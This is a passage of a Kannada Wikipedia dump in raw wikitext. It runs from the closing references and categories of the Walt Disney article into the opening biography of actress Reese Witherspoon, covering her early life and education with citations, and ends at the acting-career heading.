ವಾಲ್ಟ್ ಡಿಸ್ನಿ'' . ಶಿಕಾಗೊ: ಐವಾನ್‌ ಆರ್‌. ಡೀ, ಪ್ರಕಾಶಕ. ISBN 1-56663-158-0. * [[ಷರ್ಮನ್‌, ರಾಬರ್ಟ್‌ ಬಿ.]] ಮತ್ತು [[ಷರ್ಮನ್‌, ರಿಚರ್ಡ್‌ ಎಮ್‌.]] (1998) "ವಾಲ್ಟ್'ಸ್‌ ಟೈಮ್‌: ಫ್ರಮ್‌ ಬಿಫೋರ್‌ ಟು ಬೆಯಾಂಡ್‌" ISBN 0-9646059-3-7. * [[ಥಾಮಸ್‌, ಬಾಬ್‌]] (1991). ''ಡಿಸ್ನಿ'ಸ್‌ ಆರ್ಟ್‌ ಆಫ್‌ ಆನಿಮೇಷನ್‌: ಫ್ರಂ ಮಿಕ್ಕಿ ಮೌಸ್‌ ಟು ಬ್ಯೂಟಿ ಅಂಡ್‌ ದಿ ಬೀಸ್ಟ್‌'' . ನ್ಯೂಯಾರ್ಕ್‌: ಹೈಪೀರಿಯನ್‌. ISBN 1-56282-899-1 * ವ್ಯಾಟ್ಸ್‌, ಸ್ಟೀವೆನ್‌, ''[[The Magic Kingdom: Walt Disney and the American Way of Life]]'' , ಯುನಿವರ್ಸಿಟಿ ಆಫ್‌ ಮಿಸ್ಸೂರಿ ಪ್ರೆಸ್‌, 2001, ISBN 0-8262-1379-0 == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{wikiquote|ವಾಲ್ಟ್ ಡಿಸ್ನಿ}} * {{imdb name|id=0000370|name=Walt Disney}} * {{cite journal | first = | last = | authorlink = | coauthors = | year =1997 | month =May 12 | title =The Hollywood Blacklist | journal =Talk of the Nation | volume = | issue = | pages = | id = | url =http://www.npr.org/templates/story/story.php?storyId=1010644 }} ಟ್ರೇಡ್‌ ಯೂನಿಯನ್‌ಗಳು ಮತ್ತು ವಾಮಪಂಥದ ಬಗ್ಗೆ ವಾಲ್ಟ್ ಡಿಸ್ನಿಯವರ ಧೋರಣೆಯನ್ನು ಚರ್ಚಿಸುತ್ತದೆ. * [http://disney.go.com/disneyatoz/waltdisney/ ವಾಲ್ಟ್ ಡಿಸ್ನಿ ಕುಟುಂಬ ಸಂಗ್ರಹಾಲಯ] * [http://www.npr.org/templates/story/story.php?storyId=6405745 ನೀಲ್‌ ಗೇಬ್ಲರ್‌, ವಾಲ್ಟ್ ಡಿಸ್ನಿ ಅಂತರಂಗ] * {{cite web |url=http://www.anaheimwalkofstars.com/index.php |title= Anaheim Walk of Stars |archiveurl=https://web.archive.org/web/20070402224417/http://www.anaheimwalkofstars.com/index.php |archivedate=2007-04-02}} * [http://disney.go.com/disneyatoz/familymuseum/exhibits/familyfriends/robertstack/index.html ಪೊಲೊ ಕ್ರೀಡೆಯಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಆಸಕ್ತಿಯ ಕುರಿತು ರಾಬರ್ಟ್‌ ಸ್ಟ್ಯಾಕ್‌ರೊಂದಿಗೆ ಸಂದರ್ಶನ] * [https://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=284 ವಾಲ್ಟ್ ಡಿಸ್ನಿ ಸ್ಮಾರಕ ಸ್ಥಳ] * [http://www.time.com/time/magazine/article/0,9171,35518,00.html ಡಿಸ್ನಿಯವರ ಅಧ್ಭುತ ಪಯಣ] {{Webarchive|url=https://web.archive.org/web/20110917050355/http://www.time.com/time/magazine/article/0,9171,35518,00.html |date=2011-09-17 }} {{Persondata |NAME =Disney, Walter Elias |ALTERNATIVE NAMES= |SHORT DESCRIPTION=Producer, director and animator |DATE OF BIRTH=December 5, 1901 |PLACE OF BIRTH=[[Chicago]], [[Illinois]], United States |DATE OF DEATH=December 15, 1966 |PLACE OF DEATH=[[Los Angeles, California]], United States }} {{DEFAULTSORT:Disney, Walt}} [[ವರ್ಗ:೧೯೦೧ ಜನನ]] [[ವರ್ಗ:೧೯೬೬ ನಿಧನ]] [[ವರ್ಗ:ಆಮೆರಿಕನ್‌ ವಾಮಪಂಥ-ವಿರೋಧಿಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ಉದ್ಯಮಿಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ವ್ಯಂಗ್ಯಚಿತ್ರಕಾರರು]] [[ವರ್ಗ:ಅಮೇರಿಕನ್‌ ಚಲನಚಿತ್ರ ನಿರ್ದೇಶಕರು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕರು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್‌ ಚಿತ್ರಕಥಾ ಲೇಖಕರು]] [[ವರ್ಗ:ಇಂಗ್ಲಿಷ್‌-ಭಾಷಾ ಚಲನಚಿತ್ರ ನಿರ್ದೇಶಕರು]] [[ವರ್ಗ:ವಾಲ್ಟ್ ಡಿಸ್ನಿ]] 5wmu8lk6trbyzqfnb53n8qerh67vl5i ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ 0 22928 1116417 1082529 2022-08-23T12:11:47Z InternetArchiveBot 69876 Rescuing 4 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox actor | image = Reese Witherspoon 2009.jpg |caption = Witherspoon in the [[Oval Office]] on June 25, 2009 |birthdate = {{birth date and age|mf=yes|1976|3|22}} | birthplace = {{city-state|ನ್ಯೂ ಓರ್ಲಿಯಾನ್ಸ್|ಲುಯಿಸಿಯಾನ}}, U.S. | birthname = ಲಾರಾ ಜೀನ್‌ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್ | spouse = [[Ryan Phillippe]] (1999–2007); two children | yearsactive = 1991 – present | occupation = ನಟಿ, ನಿರ್ಮಾಪಕಿ }} ವಿಶ್ವಕ್ಕೆ ''''ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌''' ' ಎಂದು ಪರಿಚಿತರಾದ '''ಲಾರಾ ಜೀನ್‌ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌''' (ಜನನ: 22 ಮಾರ್ಚ್‌ 1976) ಅಮೆರಿಕಾದ ಒಬ್ಬ ನಟಿ ಮತ್ತು ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕಿ. 1988ರಲ್ಲಿ ಅವರು ಮೂರು ಪ್ರಮುಖ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ನಟಿಸಿದರು: ''[[ಒವರ್ನೈಟ್‌ ಡೆಲಿವರಿ]]'' , ''[[ಪ್ಲೆಸೆಂಟ್ವಿಲ್ಲೆ‌]]'' ಮತ್ತು ''[[ಟ್ವಿಲೈಟ್]]'' ‌. ಇದರ ಮಾರನೆಯ ವರ್ಷ, ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ವಿಮರ್ಶಾತ್ಮಕವಾಗಿ ಮೆಚ್ಚುಗೆ ಗಳಿಸಿದ ''[[ಎಲೆಕ್ಷನ್‌]]'' ಎಂಬ ಚಲನಚಿತ್ರದಲ್ಲಿ ನಟಿಸಿದರು. ಈ ಚಲನಚಿತ್ರದಲ್ಲಿನ ನಟನೆಗಾಗಿ ಅವರಿಗೆ [[ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌]] ನಾಮನಿರ್ದೇಶನ ಲಭಿಸಿತು. ''[[ಲೀಗಲ್ಲಿ ಬ್ಲೋಂಡ್‌]]'' ಎಂಬ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಯಶಸ್ಸು ಗಳಿಸಿದ ಚಲನಚಿತ್ರದಲ್ಲಿ 'ಎಲ್ಲಿ ವುಡ್ಸ್‌'‌ ಎಂಬ ವಿಶಿಷ್ಟ ಪಾತ್ರದಲ್ಲಿ ನಟನೆಯೊಂದಿಗೆ 2001ರಲ್ಲಿ ಅವರ ನಟನಾ ವೃತ್ತಿಗೆ ಪ್ರಮುಖ ತಿರುವು ಸಿಕ್ಕಿತು. 2002ರಲ್ಲಿ ಅವರು ''[[ಸ್ವೀಟ್‌ ಹೋಂ ಅಲಾಬಾಮಾ]]'' ಎಂಬ ಚಲನಚಿತ್ರದಲ್ಲಿ ನಟಿಸಿದರು. ಇದು ಇಲ್ಲಿಯವರೆಗೆ ಅವರ ಪಾಲಿಗೆ ಅತಿದೊಡ್ಡ ವಾಣಿಜ್ಯ ಯಶಸ್ಸು ಪಡೆದ ಚಲನಚಿತ್ರವಾಯಿತು. 2003ರಲ್ಲಿ ''[[Legally Blonde 2: Red, White & Blonde]]'' ಚಲನಚಿತ್ರದಲ್ಲಿ ಅವರು ಮುಖ್ಯ ನಟಿಯಾಗಿ ಮರಳಿದ್ದಲ್ಲದೆ ಕಾರ್ಯಕಾರೀ ನಿರ್ಮಾಪಕಿಯೂ ಆಗಿದ್ದರು. 2005ರಲ್ಲಿ, ''[[ವಾಕ್‌ ದಿ ಲೈನ್‌]]'' ಎಂಬ ಚಲನಚಿತ್ರದಲ್ಲಿ [[ಜೂನ್‌ ಕಾರ್ಟರ್‌ ಕ್ಯಾಷ್‌]] ಎಂಬ ಪಾತ್ರನಿರ್ವಹಣೆಗಾಗಿ ವಿಶ್ವವ್ಯಾಪಿ ಗಮನ ಸೆಳೆದರು ಮತ್ತು ಮೆಚ್ಚುಗೆ ಗಳಿಸಿದರು. ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಪ್ರಮುಖ ಪಾತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟಿ ಎನಿಸಿ [[ಅಕ್ಯಾಡಮಿ ಪ್ರಶಸ್ತಿ‌]], [[ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌]], [[BAFTA]] ಹಾಗೂ [[ಸ್ಕ್ರೀನ್‌ ಆಕ್ಟರ್ಸ್‌ ಗಿಲ್ಡ್‌ ಪ್ರಶಸ್ತಿ]]ಗಳನ್ನು ಗಳಿಸಿದರು. ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ನಟ ಹಾಗೂ ತಮ್ಮೊಂದಿಗೆ ''[[ಕ್ರೂಯೆಲ್‌ ಇಂಟೆನ್ಷನ್ಸ್‌]]'' ಚಲನಚಿತ್ರದಲ್ಲಿ ಸಹನಟರಾದ [[ರಯಾನ್‌ ಫಿಲಿಪ್ಸ್‌]]ರನ್ನು 1999ರಲ್ಲಿ ವಿವಾಹವಾದರು. ಅವರಿಗೆ ಆವಾ ಮತ್ತು ಡೀಕಾನ್‌ ಎಂಬ ಇಬ್ಬರು ಮಕ್ಕಳಿದ್ದಾರೆ. ಈ ಜೋಡಿಯು 2006ರ ಅಂತ್ಯದಲ್ಲಿ ಪ್ರತ್ಯೇಕಗೊಂಡು, ಅಕ್ಟೋಬರ್‌ 2007ರಲ್ಲಿ ವಿಚ್ಛೇದನ ಹೊಂದಿತು. ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಟೈಪ್‌ ಎ ಫಿಲ್ಮ್ಸ್‌ ಎಂಬ ಚಲನಚಿತ್ರ ನಿರ್ಮಾಣ ಸಂಸ್ಥೆಯ ಒಡತಿ. ಮಕ್ಕಳ ಮತ್ತು ಮಹಿಳೆಯರ ಸಲಹಾ ಸಂಘಟನೆಗಳಲ್ಲಿ ಸಕ್ರಿಯರಾಗಿ ಪಾಲ್ಗೊಂಡಿದ್ದಾರೆ. ಅವರು [[ಚಿಲ್ಡ್ರನ್ಸ್‌ ಡಿಫೆನ್ಸ್‌ ನಿಧಿ‌]] ಮಂಡಳಿಯಲ್ಲಿ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತಿದ್ದಾರೆ. 2007ರಲ್ಲಿ ಅವರು [[ಏವನ್‌ ಪ್ರಾಡಕ್ಟ್ಸ್‌]]ನ ಜಾಗತಿಕ ರಾಯಭಾರಿಯಾಗಿ ನೇಮಕವಾದರು. ದಾನಧರ್ಮ ಸಂಸ್ಥೆ ಏವನ್‌ ಪ್ರತಿಷ್ಠಾನದಲ್ಲಿ ಅವರು ಗೌರವಾನ್ವಿತ ಅಧ್ಯಕ್ಷೆಯಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದರು. == ಆರಂಭಿಕ ಜೀವನ ಹಾಗೂ ಶಿಕ್ಷಣ == ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ [[ಲೂಯಿಸಿಯಾನಾ]]ದ [[ನ್ಯೂ ಆರ್ಲಿಯನ್ಸ್‌]]ನಲ್ಲಿ ಸದರ್ನ್‌ ಬ್ಯಾಪ್ಟಿಸ್ಟ್‌ ಆಸ್ಪತ್ರೆ (ಇಂದು [[ಒಷ್ನರ್‌ ಬ್ಯಾಪ್ಟಿಸ್ಟ್‌ ವೈದ್ಯಕೀಯ ಕೇಂದ್ರ‌]])ದಲ್ಲಿ ಜನಿಸಿದರು. ಅವರ ಹೆತ್ತವರು ಇದೇ ಸ್ಥಳದಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದರು. ಅವರ ತಂದೆ [[ಟ್ಯೂಲೇನ್‌ ಯುನಿವರ್ಸಿಟಿ ವೈದ್ಯಕೀಯ ಶಾಲೆ]]ಯಲ್ಲಿ ವಿದ್ಯಾರ್ಥಿಯಾಗಿದ್ದರು.<ref name="tulane">{{cite web| title = Green Threads on the Red Carpet| author = Martin, Aaron | publisher = Tulane University magazine| date = 2006-03-01|url = http://www2.tulane.edu/article_news_details.cfm?ArticleID=6294| accessdate = 2007-04-30}}</ref><ref name="dork"/> ಅವರ ತಂದೆ ಜಾನ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ [[ಜಾರ್ಜಿಯಾ]] ಸಂಜಾತ [[ಕಿವಿ ಗಂಟಲು ತಜ್ಞ]] ವೈದ್ಯರಾಗಿದ್ದಾರೆ. ಇವರು ಮುಂಚೆ [[U.S. ಭೂಸೇನಾ ಮೀಸಲು ಪಡೆ]]ಯಲ್ಲಿ ಲೆಫ್ಟಿನೆಂಟ್‌ ಕರ್ನಲ್‌ ಆಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದರು.<ref name="movieyahoo">{{cite web| title = Reese Witherspoon biography| publisher = [[Yahoo! Movies]]| url = https://movies.yahoo.com/movie/contributor/1800018812/bio| accessdate = 2007-10-25| archive-date = 2007-06-05| archive-url = https://web.archive.org/web/20070605184759/http://movies.yahoo.com/movie/contributor/1800018812/bio| url-status = dead}}</ref><ref name="findarticles">{{cite web|title=That's Reese: stepping into the ring of fire| date=2005-12-01|author =Slschy, Ingrid | publisher=[[Interview (magazine)|Interview]]. Archived at Findarticles.com|url=http://findarticles.com/p/articles/mi_m1285/is_11_35/ai_n15950788|accessdate=2007-10-25|archiveurl=http://archive.is/HLCG7|archivedate=2013-01-12}}</ref> ರೀಸ್‌ರ ತಾಯಿ ಬೆಟ್ಟಿ ([[ಪೂರ್ವಾಶ್ರಮದ ಹೆಸರು]] ರೀಸ್‌) [[ಟೆನ್ನೆಸೀ ರಾಜ್ಯದ ಹ್ಯಾರಿಮನ್‌]] ಸಂಜಾತೆ. ಇವರು ಮಕ್ಕಳ ಶುಶ್ರೂಷಾ ವೃತ್ತಿಯಲ್ಲಿ Ph.D. ಹೊಂದಿದ್ದಾರೆ. [[ವ್ಯಾಂಡರ್ಬಿಲ್ಟ್‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ]]ದಲ್ಲಿ ಬೆಟ್ಟಿ ಶುಶ್ರೂಷಾಶಾಸ್ತ್ರದ ಪ್ರಾಧ್ಯಾಪಕಿಯಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತಿದ್ದಾರೆ.<ref name="findarticles"/><ref name="tiscali1">{{cite web|author=Wills, Dominic| title=Reese Witherspoon biography (page 1)|publisher=[[Tiscali]]|url=http://www.tiscali.co.uk/entertainment/film/biographies/reese_witherspoon_biog.html|accessdate=2007-11-26}}</ref> ತಾವು ಸ್ಕಾಟಿಷ್ ಸಂಜಾತ [[ಜಾನ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌]]ರ ವಂಶಜೆಯೆಂದು ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್ ಹೇಳಿಕೊಂಡಿದ್ದಾರೆ. ಜಾನ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌[[ಪ್ರಿನ್ಸ್‌ಟನ್‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ]]ದ ಆರನೆಯ ಅಧ್ಯಕ್ಷ, ಹಾಗೂ, [[ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಣೆ]]ಗೆ ಸಹಿ ಹಾಕಿದವರಲ್ಲೊಬ್ಬರಾಗಿದ್ದರು.<ref name="newsindependent">{{cite web|title=Reese Witherspoon: Legally Blonde. Physically flawed?|author=Stuges, Fiona|date=2004-08-07|publisher= [[The Independent]]|url=http://findarticles.com/p/articles/mi_qn4158/is_20040807/ai_n12805219|accessdate=2007-09-22}}</ref><ref>{{cite web|title=Reese Witherspoon: Legally Blonde...Again|publisher=Agirlsworld.com|url=http://www.agirlsworld.com/rachel/hangin-with/reesewitherspoon_legally2.html|accessdate=2007-10-25|archive-date=2003-08-12|archive-url=https://web.archive.org/web/20030812012242/http://www.agirlsworld.com/rachel/hangin-with/reesewitherspoon_legally2.html|url-status=dead}}</ref> ಆದರೆ ವಂಶಜರ ಬಗ್ಗೆ ಈ ಹೇಳಿಕೆಯನ್ನು ಇದುವರೆಗೂ ಪರಿಶೀಲಿಸಲಾಗಿಲ್ಲ.<ref>{0/ಸಹಿಮಾಡಿದ ಜಾನ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ರ ವಂಶಸ್ಥರ ಸಂಪೂರ್ಣ ತಿಳಿದ ಪಟ್ಟಿಗಾಗಿ ಪೈನ್ಸ್‌ ರೆಜಿಸ್ಟ್ರಿ, ಸಂಪುಟ 3 ನೋಡಿ. ವಿದರ್‌ಸ್ಪೂನ್‌ ಎಂಬುದು, ಸಾಮಾನ್ಯವಾಗಿ ಇಸವಿ 1720-1776ರವರೆಗೆ ವಲಸೆ ಬಂದ ಸ್ಕಾಚ್ ಜನರ ಸಾಮಾನ್ಯ ಹೆಸರಾಗಿದೆ. ಹಲವರು ಅಲ್ಸ್ಟರ್‌ನಿಂದ ಬಂದವರಾಗಿದ್ದರು. ಜಾನ್‌ ದಿ ಸೈನರ್‌ ಪೈಸ್ಲೆ ಸ್ಕಾಟ್ಲೆಂಡ್‌ನಿಂದ ನೇರವಾಗಿ ನ್ಯೂ ಜರ್ಸೀ ಕಾಲೇಜ್‌ಗೆ ಬಂದರು.</ref><ref>ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಣೆಗೆ ಸಹಿ ಹಾಕಿದ ವಂಶಜರು, ಸಂಪುಟ 3, ಆದಾಗ್ಯೂ, ನೇರ ವಂಶಜರ ರೀಸ್ ಹೇಳಿಕೆಯನ್ನು ಸಮರ್ಥಿಸುವುದಿಲ್ಲ. ಕೊನೆಯ ತಿಳಿದಿರುವ ವಿದರ್‌ಸ್ಪೂನ್‌ ಪುರುಷರೆಂದರೆ ಹೆನ್ರಿ ಕೊಲಾಕ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌, ಜೂನಿಯರ್‌.</ref> ರೀಸ್‌ರ ತಂದೆ [[ಜರ್ಮನಿ]]ಯ [[ವೀಸ್ಬಾಡೆನ್‌]]ನಲ್ಲಿ U.S. ಸೇನಾ ಸೇವೆಯಲ್ಲಿದ್ದ ಕಾರಣ,ಸಣ್ಣ ಬಾಲಕಿಯಾಗಿ ನಾಲ್ಕು ವರ್ಷಗಳ ಕಾಲ ಜರ್ಮನಿಯಲ್ಲಿದ್ದರು.<ref name="tiscali1"/><ref name="livingscot">{{cite web|title=Reese revels in her Scots (blonde) roots| author= Flockhart, Hary| date=2007-10-19| publisher=[[The Scotsman]]|url=http://living.scotsman.com/ViewArticle.aspx?articleid=3472177|accessdate=2007-11-05}}</ref> U.S.ಗೆ ವಾಪಸಾದ ನಂತರ, ಟೆನ್ನೆಸೀಯ ನ್ಯಾಷ್ವಿಲ್‌ನಲ್ಲಿ ರೀಸ್‌ ತಮ್ಮ ಬಾಲ್ಯವನ್ನು ಕಳೆದರು. ಅವರನ್ನು [[ಎಪಿಸ್ಕಪೇಲಿಯನ್‌ (ಬಿಷಪ್‌ ಗಣಪ್ರಭುತ್ವವಾದಿ)]] ಸಂಪ್ರದಾಯ ರೀತ್ಯಾ ಬೆಳೆಸಲಾಯಿತು.<ref name="reader's digest">{{cite web|title=Face to Face With Reese Witherspoon|work=Reader's Digest|author=Grant, Meg |date=2005-09-30| url=http://www.rd.com/face-to-face-with-reese-witherspoon/article18040-3.html|accessdate=2009-10-19}}</ref> ರೀಸ್‌ ತಮ್ಮ ಏಳನೆಯ ವಯಸ್ಸಿನಲ್ಲಿ, ಹೂವ್ಯಾಪಾರಿಯೊಬ್ಬರ ದೂರದರ್ಶನ ಜಾಹೀರಾತಿನಲ್ಲಿ ಒಬ್ಬ ಫ್ಯಾಷನ್‌ ರೂಪದರ್ಶಿಯಾಗಿ ನಟಿಸಲು ಆಯ್ಕೆಯಾದರು. ನಟನಾ ತರಗತಿಗಳಿಗೆ ಸೇರಿಕೊಳ್ಳಲು ಇದು ರೀಸ್‌ರನ್ನು ಪ್ರೇರೇಪಿಸಿತು.<ref name="tiscali2"/><ref>{{cite web|title=Blond ambition|publisher=Guardian|date=2003-07-26|url=https://www.theguardian.com/film/2003/jul/26/patterson.comment|accessdate=2007-11-26}}</ref> ತಮ್ಮ ಹನ್ನೊಂದನೆಯ ವಯಸ್ಸಿನಲ್ಲಿ ಟೆನ್‌-ಸ್ಟೇಟ್‌ ಟ್ಯಾಲೆಂಟ್‌ ಫೇರ್‌ ಸ್ಪರ್ಧೆಯಲ್ಲಿ ಮೊದಲ ಸ್ಥಾನ ಗಳಿಸಿದರು.<ref name="tiscali2"/><ref name="page1"/> ರೀಸ್‌ ತನ್ನ ಶಾಲಾ ವ್ಯಾಸಂಗದಲ್ಲಿ ಒಳ್ಳೆಯ ದರ್ಜೆ ಗಳಿಸುತ್ತಿದ್ದರು.<ref name="tiscali2">{{cite web|title=Reese Witherspoon biography (page 2)|author=Wills, Dominic |publisher=[[Tiscali]]| url=http://www.tiscali.co.uk/entertainment/film/biographies/reese_witherspoon_biog/2|accessdate=2007-11-26}}</ref> ಪುಸ್ತಕಗಳನ್ನು ಓದುವುದು ಅವರಿಗೆ ಪಂಚಪ್ರಾಣವಾಗಿತ್ತು. 'ಬಹಳಷ್ಟು ಪುಸ್ತಕಗಳನ್ನು ಓದುವ ದೊಡ್ಡ ದಡ್ಡಿ' ಎಂದು ಅವರು ತಮ್ಮನ್ನು ಪರಿಗಣಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದರು.<ref name="dork">{{cite web|title=The dork who grew into a Hollywood princess|publisher=[[The Sunday Times]]|date=2006-03-05|url=http://www.timesonline.co.uk/tol/comment/article737573.ece?token=null&offset=12|accessdate=2007-11-26}}</ref> ಪುಸ್ತಕಗಳ ಬಗ್ಗೆ ತಮ್ಮ ಒಲವಿನ ವಿಚಾರ ಬಂದಾಗ, 'ಪುಸ್ತಕ ಮಳಿಗೆಯಲ್ಲಿ ನಾನು ಹುಚ್ಚಿಯಾಗುವುದುಂಟು. ನನ್ನ ಹೃದಯ ಬಹಳ ಜೋರಾಗಿ ಬಡಿಯಲು ಆರಂಭಿಸುತ್ತದೆ, ಏಕೆಂದರೆ ನಾನು ಅಲ್ಲಿರುವುದನ್ನೆಲ್ಲಾ ಕೊಂಡುಕೊಳ್ಳಬಯಸುವೆ' ಎಂದರು.<ref name="reader's digest"/> ಹಾರ್ಡಿಂಗ್‌ ಅಕ್ಯಾಡಮಿಯಲ್ಲಿ ರೀಸ್‌ ಮಾಧ್ಯಮಿಕ ಶಾಲಾ ವ್ಯಾಸಂಗ ಮಾಡಿದರು. ಟೆನ್ನೆಸೀ ರಾಜ್ಯದ ನ್ಯಾಷ್ವಿಲ್‌ನಲ್ಲಿನ ಪ್ರತಿಷ್ಠಿತ [[ಹಾರ್ಪೆತ್‌ ಹಾಲ್‌ ಸ್ಕೂಲ್‌]] ಬಾಲಕಿಯರ ಶಾಲೆಯಲ್ಲಿ ಪದವಿ ಮುಗಿಸಿದರು. ಆ ಸಮಯದಲ್ಲಿ ಅವರು ಒಬ್ಬ [[ಚಿಯರ್‌ಲೀಡರ್‌ (ಜಯಕಾರ-ನಾಯಕಿ)]] ಆಗಿದ್ದರು.<ref name="page1">{{cite web|title=Playing It Straight (page 1)|author=Booth, William | date = 2005-11-13| publisher=Washington Post|url=http://www.washingtonpost.com/wp-dyn/content/article/2005/11/11/AR2005111100442.html|accessdate=2007-11-10}}</ref><ref name="talent"/> ಇಂಗ್ಲಿಷ್‌ ಸಾಹಿತ್ಯವನ್ನು ಪ್ರಮುಖ ವಿಷಯವನ್ನು ಆಯ್ದುಕೊಂಡು [[ಸ್ಟ್ಯಾನ್ಫರ್ಡ್‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ]]ದಲ್ಲಿ ಉನ್ನತ ವ್ಯಾಸಂಗ ಆರಂಭಿಸಿದರು.<ref name="commitment">{{cite web|title=Reese Witherspoon; Commitment, Success and the Age of Ambivalence|author= Gardner, Elysa|date=1998-09-13|publisher= New York Times|url=http://query.nytimes.com/gst/fullpage.html?res=9E01E0DA1F3FF930A2575AC0A96E958260|accessdate=2007-10-25}}</ref> ಒಂದು ವರ್ಷ ವ್ಯಾಸಂಗದ ನಂತರ, ನಟನೆಯ ವೃತಿಯಲ್ಲಿ ತೊಡಗಿಸಿಕೊಳ್ಳಲು ಸ್ಟ್ಯಾನ್ಫರ್ಡ್‌ ತೊರೆದರು.<ref name="talent">{{cite web|title=Talent behind Witherspoon's win |publisher = BBC News|url=http://news.bbc.co.uk/1/hi/entertainment/4581664.stm|accessdate = 2007-10-25 | date=2006-01-17}}</ref> ತಮ್ಮ ವಿಶಿಷ್ಟ [[ದಕ್ಷಿಣದ (ಯುಎಸ್‌)]] ಸಾಂಪ್ರದಾಯಿಕ ಪಾಲನೆಯ ಬಗ್ಗೆ ರೀಸ್‌ಗೆ ಹೆಮ್ಮೆಯಿದೆ. ಇದರಿಂದ ಅವರಿಗೆ 'ಕುಟುಂಬ ಮತ್ತು ಸಂಪ್ರದಾಯದ ಪರಿಜ್ಞಾನ' ನೀಡಿತು; 'ಜನರ ಭಾವನೆಗಳನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಳ್ಳುವುದು, ಸಜ್ಜನಿಕೆಯಿಂದಿರುವುದು, ಹೊಣೆಗಾರಿಕೆಯಿಂದಿರುವುದು, ಹಾಗೂ, ನಮ್ಮ ಜೀವನದಲ್ಲಿರುವುದನ್ನು ಹಗುರವಾಗಿ ಪರಿಗಣಿಸದಿರುವುದನ್ನು' ಕಲಿತೆ ಎಂದು ರೀಸ್‌ ತಿಳಿಸಿದರು.<ref name="talent"/><ref name="sweethome"/> ರೀಸ್‌ರನ್ನು ಬಹಳಷ್ಟು ಸಾಧಿಸಿದಾಕೆ ಎಂದು ಬಣ್ಣಿಸಲಾಗಿದೆ. ಇದರಿಂದಾಗಿ ಅವರ ಹೆತ್ತವರು ರೀಸ್‌ಗೆ 'ಲಿಟ್ಲ್‌ ಟೈಪ್‌ A' ಎಂಬ ಉಪನಾಮವನ್ನಿಟ್ಟರು.<ref name="ambition">{{cite web|date=2005-01-07|title=Reese Witherspoon: A novel challenge for blonde ambition|publisher=[[The Independent]]. Archived at Findarticles.com|url=http://findarticles.com/p/articles/mi_qn4158/is_20050107/ai_n9693572|accessdate=2007-11-05|archiveurl=https://archive.today/20080218234602/http://findarticles.com/p/articles/mi_qn4158/is_20050107/ai_n9693572|archivedate=2008-02-18|url-status=live}}</ref><ref name="fashion">{{cite web| title=A type A is already on A-list|publisher=[[The San Diego Union-Tribune]]| date=2005-11-13|author=Meyer, Norma |url=http://www.signonsandiego.com/news/features/20020927-9999_1c27reese.html|accessdate=2007-11-26}}</ref> ತಮ್ಮ ಜೀವನದಲ್ಲಿ ಬಹಳ ಬೇಗ ಸಾಧನೆಗಳನ್ನು ಮಾಡಿದ ಕುರಿತು, ''[[ಇಂಟರ್ವ್ಯೂ]]'' ಪತ್ರಿಕೆಗೆ ರೀಸ್ ಹೇಳಿದ್ದು ಹೀಗೆ: 'ಇದರಲ್ಲಿ ಯಾವುದನ್ನೂ ಗಮನಾರ್ಹವೆಂದು ತಾವು ಭಾವಿಸಿಲ್ಲ. ಬಹುಶಃ ಬುದ್ಧಿಸ್ವಾಸ್ಥ್ಯದಲ್ಲಿರಲು ಹಾಗೂ ಕಾಲು ನೆಲದ ಮೇಲೆ ದೃಢವಾಗಿರಬೇಕೆಂಬ ಮನೋಭಾವವೇ ನಾನು ಆಯ್ದುಕೊಂಡ ನಡವಳಿಕೆಗೆ ಕಾರಣ. ಮಹಿಳೆಯರು ಬಹಳಷ್ಟು ಸಾಧನೆ ಮಾಡಿರುವ ವಾತಾವರಣದಲ್ಲಿ ನಾನು ಬೆಳೆದೆ. ಅವರು ಸಾಧಿಸಲಾಗದಿದ್ದಲ್ಲಿ, ಸಮಾಜವು ಅವರನ್ನು ನಿರ್ಬಂಧಿಸುತ್ತಿದ್ದುದೇ ಕಾರಣ.' <ref name="findarticles"/> == ನಟನಾ ವೃತ್ತಿ == === 